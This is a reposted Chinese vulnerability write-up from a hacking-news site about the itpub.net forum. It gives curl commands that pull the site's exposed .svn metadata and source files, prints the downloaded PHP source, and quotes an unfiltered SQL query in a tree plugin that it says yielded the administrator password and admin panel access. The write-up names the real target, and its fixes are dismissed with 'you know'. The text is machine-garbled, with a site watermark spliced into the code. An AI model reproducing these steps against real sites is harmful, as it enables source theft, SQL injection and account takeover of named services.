安全黑客
当前位置:安全黑客文章资讯安全技术脚本攻防
日期:2012-05-08 10:37:00  来源:本站整理

itpub技术论坛源码可被下载和某个程序的注射漏洞[脚本攻防]

赞助商链接



  本文“itpub技术论坛源码可被下载和某个程序的注射漏洞[脚本攻防]”是由安全黑客为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

服务器设置不当,招致该网站源码可以被下载
具体阐明:
网站利用svn管理版本,却未对.svn目录未加拜候权限限制,
漏洞证明:
xxx@xxx /www/itpub.net $ curl http://www.itpub.net/.svn/entries
可以得到web根目录文件目录列表,按照那个列表,可以恳求svn working copy的text-base
写一个简单的脚本就可以遍历下载该站svn仓库中的全部源码.可以从源码进一步解析出更多安全漏洞
xxx@xxx /www/itpub.net $ curl http://www.itpub.net/.svn/text-base/member.php.svn-base
<?php
 
/**
* [Discuz!] (C)2001-2099 Comsenz Inc.
* This is NOT a freeware, use is subject to license terms
*
* $Id: member.php 20112 2011-02-15 07:10:53Z monkey $
*/
 
define('APPTYPEID', 0);
define('CURSCRIPT', 'member');
 
require './source/class/class_core.php';
 
$discuz = & discuz_core::instance();
 
$modarray = array('activate', 'clearcookies', 'emailverify', 'getpasswd',
'groupexpiry', 'logging', 'lostpasswd',
'register', 'regverify', 'switchstatus', 'connect');
 
 
$mod = !in_array($discuz->var['mod'], $modarray) ? 'register' : $discuz->var['mod'];
 
define('CURMODULE', $mod); www.110hack.com
 
$discuz->init();
if($mod == 'register' && $discuz->var['mod'] != $_G['setting']['regname'] && !defined('IN_CONNECT')) {
showmessage('undefined_action');
}
 
 
require libfile('function/member');
require libfile('class/member');
runhooks();
 
 
require DISCUZ_ROOT.'./source/module/member/member_'.$mod.'.php';
 
?>
修复筹划:
.svn目录加拜候权限限制,你晓得.
 
 
通过之前下载的itpub源码,轻松找到tree利用的注入漏洞.
69 else{
70 $tmp1=$db->query_first("select * from pre_plugin_tree_node where level=1 and nodeid=".$_REQUEST['node']." order by ordernum desc");
71
发现node参数没被过滤,读出管理员密码
 
 
管理地址:
用发现的管理员密码可以登录http://www.itpub.net/tree/editlist.php 编辑节点内容
www.110hack.com供应的修复筹划:你晓得


  以上是“itpub技术论坛源码可被下载和某个程序的注射漏洞[脚本攻防]”的内容,如果你对以上该文章内容感兴趣,你可以看看安全黑客为您推荐以下文章:
  • itpub技术论坛源码可被下载和某个程序的注射漏洞
  • 本文地址: 与您的QQ/BBS好友分享!

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    免责条款 - 广告合作 - 下载声明 - 欢迎投稿 - 友情连接 - 网站地图 -
    Copyright © 2012-2013 www.110hack.com. All Rights Reserved .